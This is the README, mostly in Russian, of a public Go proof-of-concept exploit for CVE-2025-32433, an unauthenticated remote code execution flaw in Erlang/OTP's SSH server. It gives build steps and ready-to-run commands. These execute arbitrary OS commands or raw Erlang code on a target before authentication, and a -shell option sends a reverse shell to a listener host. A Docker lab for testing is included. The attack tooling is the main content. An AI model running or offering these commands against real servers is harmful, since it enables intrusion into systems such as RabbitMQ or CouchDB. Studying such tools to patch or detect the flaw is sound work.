
CVE-2025-32433 的 Go PoC — Erlang/OTP SSH 中的未认证 RCE。
CVE-2025-32433 — это критическая уязвимость удаленного выполнения кода без аутентификации в SSH-сервере Erlang/OTP. До исправленных версий SSH-демон некорректно обрабатывает сообщения каналов до завершения аутентификации, что позволяет злоумышленнику открыть канал и отправлять запросы exec без предоставления учетных данных. Любое приложение, встраивающее SSH-сервер Erlang/OTP (включая Elixir, RabbitMQ, CouchDB и другие), уязвимо, если SSH-порт открыт.
Данный PoC на Go подключается к целевому SSH-порту, отправляет сконструированное SSH_MSG_CHANNEL_OPEN, а затем полезную нагрузку SSH_MSG_CHANNEL_REQUEST exec — полностью до аутентификации — заставляя удаленный узел Erlang выполнить произвольные команды ОС. Выполнение слепое: вывод команды не возвращается атакующему.
Затронутые версии: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c, автоматически обернутых в os:cmd Erlanggen_tcp без использования bash или /dev/tcpПредварительно собранные бинарники для macOS, Linux и Windows доступны на странице релизов. Скачайте бинарник для вашей платформы и запустите напрямую — установка Go не требуется.
Или соберите из исходников:
[!NOTE] Требуется Go 1.21+. Внешних зависимостей нет — используется только стандартная библиотека Go.
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
Target IP or hostname
-port int
SSH port (default: 22) (default 22)
-timeout int
Connection timeout in seconds (default: 5) (default 5)
-command string
Shell command to run on the target (wrapped in os:cmd)
-code string
Raw Erlang expression to execute on the target
-shell
Send an Erlang-native gen_tcp reverse shell
-lhost string
Listener IP for reverse shell (required with -shell)
-lport int
Listener port for reverse shell (default: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

Флаг -shell отправляет нативную полезную нагрузку обратной оболочки Erlang gen_tcp — не требуется bash или /dev/tcp. Сначала запустите слушатель, затем отправьте эксплойт.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

Флаг -code отправляет сырое выражение Erlang напрямую — без обертки bash -c. Полезно для чистых операций Erlang или когда bash недоступен на цели. Поскольку выполнение слепое, записывайте вывод в файл и извлекайте его отдельно.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

Подробнее в docker/DOCKER.md
cd docker/
docker compose down
docker compose up -d
# You can test at -host 127.0.0.1 -port 2222
Этот инструмент предоставлен только для образовательных и исследовательских целей. Создатель не несет ответственности за любое неправильное использование или ущерб, причиненный инструментом.